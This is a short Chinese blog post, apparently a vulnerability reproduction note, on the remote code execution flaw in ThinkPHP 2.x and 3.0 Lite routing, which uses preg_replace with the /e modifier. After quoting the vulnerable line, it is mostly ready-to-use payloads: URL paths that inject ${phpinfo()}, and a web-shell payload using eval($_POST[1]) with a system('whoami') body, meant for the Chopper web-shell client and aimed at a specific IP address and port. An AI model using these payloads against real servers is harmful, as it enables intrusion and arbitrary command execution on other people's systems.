ThinkPHP 2.x版本中,使用preg_replace/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

环境:ThinkPHP 2.1

直接访问

http://188.40.189.134:8080/index.php?s=/index/index/name/$%[email protected]()%7D

即可显示phpinfo

/index.php?s=a/b/c/${phpinfo()}
/index.php?s=a/b/c/${phpinfo()}/c/d/e/f
/index.php?s=a/b/c/d/e/${phpinfo()}
......

下面给出一个能够直接菜刀连接的payload:

/index.php?s=a/b/c/${@print(eval($_POST[1]))}
1=system('whoami');

如下

http://188.40.189.134:8080/index.php?s=a/b/c/${@print(eval($_POST[1]))}
1=system('whoami');

大概就这些……

说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...